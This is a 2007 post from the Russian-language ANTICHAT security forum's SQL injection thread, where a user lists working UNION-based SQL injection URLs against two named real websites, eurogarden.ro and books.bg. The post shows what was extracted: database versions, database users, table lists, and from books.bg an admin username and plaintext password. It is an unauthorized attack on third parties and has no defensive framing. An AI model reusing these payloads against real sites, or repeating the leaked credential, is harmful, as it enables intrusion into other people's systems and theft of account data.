SQL Инъекции — ANTICHAT Forum

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.

Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.

⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.

#11

15.11.2007, 16:01

fRg

Участник форума

Регистрация: 28.12.2006

Сообщений: 111

Провел на форуме:
500695

Репутация: 524

Отправить сообщение для fRg с помощью ICQ

eurogarden.ro

Код:

http://www.eurogarden.ro/categorie.php?itemid=-1+union+select+1,2,3,4,5,concat_ws(0x3a,version(),database(),user()),7/*

5.0.24a-standard-log:eurogarden:eurogarden@goober.dreamhost.com

18 таблиц:

Код:

http://www.eurogarden.ro/categorie.php?itemid=-1+union+select+1,2,3,4,5,table_name,7+from+information_schema.tables+limit+17,1/*

интересных - нет.

books.bg

Код:

http://www.books.bg/ItemBought.php?shop=-1+union+select+1,concat_ws(0x3a,version(),database(),user())/*

5.0.38-Ubuntu_0ubuntu1.1:books2:books2@localhost

139 таблиц:

Код:

http://www.books.bg/ItemBought.php?shop=-1+union+select+1,table_name+from+information_schema.tables+limit+138,1/*

Интересные таблицы:

Код:

phpbb_users
users
users_login

root:

Код:

http://www.books.bg/ItemBought.php?shop=-1+union+select+1,concat_ws(0x3a,col_user_name,col_password)+from+users_login+limit+0,1/*

"логин:пасс" : idenev:UIB7jqkj